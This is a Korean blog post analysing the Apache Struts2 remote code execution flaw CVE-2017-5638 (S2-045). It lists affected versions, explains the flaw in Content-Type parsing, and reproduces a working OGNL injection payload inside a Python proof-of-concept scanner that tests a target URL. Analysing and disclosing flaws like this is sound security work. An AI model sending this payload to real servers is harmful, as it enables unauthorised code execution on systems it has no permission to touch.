Apache Struts2 RCE Vulnerability(CVE-2017-5638/S2-045)
올해도 어김없이 Apache Struts2 관련 취약점이 공개되었습니다. 요즘 DCCP Double free 취약점을 천천히 보고있는 상황인데 급히 Struts 정리해서 포스팅하게 되네요. 현재 CVE-2017-5638, S2-045로 올라와 있습니다.
Vulnerable Version
- Apache Struts 2.3.5 ~ 2.3.31
- Apache Struts 2.5 ~ 2.5.10
Struts2 Version 확인하기
일단 쉽게 Struts2 의 버전을 확인하기 위해서는 WEB-INF Directory 내 JAR 파일 struts2-core 내 포함된 MANIFEST.MF 파일을 봅니다. Bundle-Version 에 버전에 대한 정보가 들어있습니다.
Vulnerability Analysis
이번 Struts2 취약점은 Content-Type 부분 파싱 중 검증이 잘 되지 않아서 발생한 문제입니다. diff 구간이랑 코드를 직접 보진 않아 아직 원인은 파악이 안되나 PoC 코드를 보면 아래와 같은 코드를 Content-Type 헤더에 붙여서 나가는 걸 알 수 있습니다. 아마 타입 관련해서 분기하거나 비교하는 구문에서 탈출하여 직접 코드를 호출 한 것 같네요.
%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}
이 부분은 정보 좀 수집하고 코드단 확인하면 추가로 작성하도록 하겠습니다.
PoC
현재 github 내 python 기반의 poc 코드가 올라와있고, 앞으로 계속 여러 언어로 포팅되어 올라올 것 같네요.
https://github.com/tengzhangchao/Struts2_045-Poc
import requests
import sys
def poc(url):
payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"
headers = {}
headers["Content-Type"] = payload
r = requests.get(url, headers=headers)
if "105059592" in r.content:
return True
return False
if __name__ == '__main__':
if len(sys.argv) == 1:
print "python s2-045.py target"
sys.exit()
if poc(sys.argv[1]):
print "vulnerable"
else:
print "not vulnerable"
아주 간단한 코드입니다. 코드 실행으로 102*102*102*99
처리 값을 출력하고 105059592
가 정상적으로 나왔는지 확인합니다.
102
*102
*102
*99
=105059592
Reference
- https://github.com/tengzhangchao/Struts2_045-Poc
- https://cwiki.apache.org/confluence/display/WW/S2-045